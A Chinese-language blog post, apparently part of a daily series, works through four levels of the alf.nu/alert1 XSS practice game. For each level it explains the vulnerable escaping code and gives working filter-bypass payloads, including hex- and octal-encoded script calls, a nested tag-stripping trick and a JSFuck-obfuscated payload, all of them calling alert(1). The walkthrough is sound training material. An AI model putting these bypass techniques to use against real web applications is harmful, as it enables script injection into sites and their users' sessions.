【第二十四天 - XSS Lab(2)-2】

接续昨天的 XSS Lab(2)-1,今天继续解 https://alf.nu/alert1

  1. Template:
    • 题目:

      function escape(s) {
        function htmlEscape(s) {
          return s.replace(/./g, function(x) {
             return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x;       
           });
        }
      
        function expandTemplate(template, args) {
          return template.replace(
              /{(\w+)}/g, 
              function(_, n) { 
                 return htmlEscape(args[n]);
               });
        }
      
        return expandTemplate(
          "                                                \n\
            <h2>Hello, <span id=name></span>!</h2>         \n\
            <script>                                       \n\
               var v = document.getElementById('name');    \n\
               v.innerHTML = '<a href=#>{name}</a>';       \n\
            <\/script>                                     \n\
          ",
          { name : s }
        );
      }
      
      • 本题 function expandTemplate 自己实作了 template string 的功能
        • 会从 template 字串中找到 {变数名称} ,替换为 args[变数名称]
        • 若遇到 <>&"' 会跳脱成 HTML Entity 的格式
    • 解题:

      • JavaScript 字串中可以使用 Hex 来表示字元
        • < 的十六进制为 \x3c
        • > 的十六进制为 \x3e
    • ANS:

      • \x3cimg src=1 onerror=alert(1)\x3e
  2. JSON2
    • 题目:

      function escape(s) {
        s = JSON.stringify(s).replace(/<\/script/gi, '');
      
        return '<script>console.log(' + s + ');</script>';
      }
      
      • JSON.stringify 会将 JavaScript 变数转化为 JSON 格式的字串,本题会先将输入值丢入 JSON.stringify ,接着还会从中找出所有 </script 字串(大小写不论),替换为空字串
    • 解题:

      • JSON.stringify 会令我们无法直接使用 ") 闭合前面的 console.log ,但当语法错误时,浏览器倾向於将 </script> 优先处理,并显示前面的字串并未闭合的错误。

        Error: SyntaxError: "" literal not terminated before end of script
        
      • 因此我们不需要跳脱") ,只要能够构造出 </script> 即可。本题虽然会将 </script 替换为空字串,但由於没有反覆检查,只需要让 </script 删除後会产生新的 </script 即可,例如 </</scriptscript

      • 成功使用 </script 跳脱後,只要再开一个新的 script 元素,并将後面多余文字注解即可。

    • ANS:

      • </</scriptscript><script>alert(1);//
  3. Callback2
    • 题目:

      function escape(s) {
        // Pass inn "callback#userdata"
        var thing = s.split(/#/); 
      
        if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
        var obj = {'userdata': thing[1] };
        var json = JSON.stringify(obj).replace(/\//g, '\\/');
        return "<script>" + thing[0] + "(" + json +")</script>";
      }
      
      • 本题有两个输入 callbackuserdata ,使用 # 隔开
      • 首先题目会检查 callback 是否仅由字母、 []' 所组成
      • 接着将 userdata 放入 obj ,建构成一个 Object,再放入 JSON.stringify 转换为 JSON 字串 json
      • 接着比对 json 字串中是否有 / ,若有,则全部跳脱为 \/
      • 最後输出 "<script>" + thing[0] + "(" + json +")</script>"
    • 解法:

      • 根据最後的输出,可以看到题目是预期我们呼叫 callback 函数,并将 userdata 嵌入到 JSON 字串中作为参数。

        • 随便输入一点字,较容易理解,例如 aaaa#bbbb 会输出:

          <script>aaaa({"userdata":"bbbb"})</script>
          
      • 在 JavaScript 里, 一个 expression 可以直接作为 statement ,例如 1 + 3;console.log('baba'); 都是有效的 statement。本题我们可以利用这个特性,在 callback 中输入 ' ,在 userdata 中同样输入 ' ,即可将中间的 ({"userdata":" 全部变成字串,接着用分号直接结束这个 statement,即可在後方输入其他指令,如下所示:

        		   /* 我是字串 */
        <script> '({"userdata":"';  alert(1);  "})</script>
        
      • 接下来将後面多余文字注解掉即可。

    • ANS:

      • '#';alert(1)<!--
  4. Skandia2
    • 题目:

      function escape(s) {
        if (/[<>]/.test(s)) return '-';
      
        return '<script>console.log("' + s.toUpperCase() + '")</script>';
      }
      
      • 本题会检查输入值 s 是否有包含 <> ,有的话直接 return -
      • 接着会将输入值全部转大写。
    • 解题:

      • 本题的 console.log 可以用 ");直接跳脱。
      • 由於 JavaScript 会区分大小写,转大写後的函数、变数名称都会无法正常使用。
      • 此时可以利用以下几个特性组合使用,来呼叫 alert(1)
        • JavaScript 的 Object property 除了用 obj.prop 存取,也可以用 obj['prop'] 存取。
        • JavaScript 中,所有资料格式都是继承 Object 而来,包含 Number, Array, Function 都是。
        • function 的 constructor 可以接受字串输入来产生新 function。
        • JavaScript 的字串中可以用八进位来表示字元,如 \000
      • 首先随便产生一个物件,取出其中的 function ,例如 ""at function
        • 为了避免被转成大写,因此使用八进位写成 ""['\141\164']
      • 接着从 function 取出 constructor,输入想要执行的字串,生成新的 function, 也就是 "".at.constructor('alert(1)')
        • 为了 bypass ,使用八进位写成 ""['\141\164']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')
      • 最後将 function 用 () 执行,最後再注解後方文字即可
    • ANS:

      • "); ""['\141\164']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//
      • 如果不想自己转换,可以用 JSFuck ,这是一个 obfuscation 工具,能够只用六个符号()+[]! 来表示所有 JS 语法
        • ");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//

<<:  Day 23: 元件原则 — 耦合性 (待改进中... )

>>:  初探网路安全(四):加密演算法,何谓对称及非对称式加密?

[Day 16] 我的资料哪有这麽平衡!第一季 (data augmentation)

前言 走过了资料分析、演算法选择後, 我们得知了有些可以改善模型的方向: 解决资料不平衡 学习率的设...

Day 2 | 游戏发想过程

主题发想 最一开始我们希望做一个以妖怪为主题的AR游戏,经过讨论以及资料收集後,发现山海经里的神兽与...

Spring Framework X Kotlin Day 6 Unit Test

GitHub Repo https://github.com/b2etw/Spring-Kotlin...

django新手村10-----关於注册

上一篇用到的注册,其实是有点小问题的,像是如果用户名重复了,或是帐号密码都不打也可以注册 这一篇比较...

18 - Traces - 观察应用程序的效能瓶颈 (2/6) - 使用 APM-Integratoin-Testing 建立 Elastic APM 的模拟环境

Traces - 观察应用程序的效能瓶颈 系列文章 (1/6) - Elastic APM 基本介绍...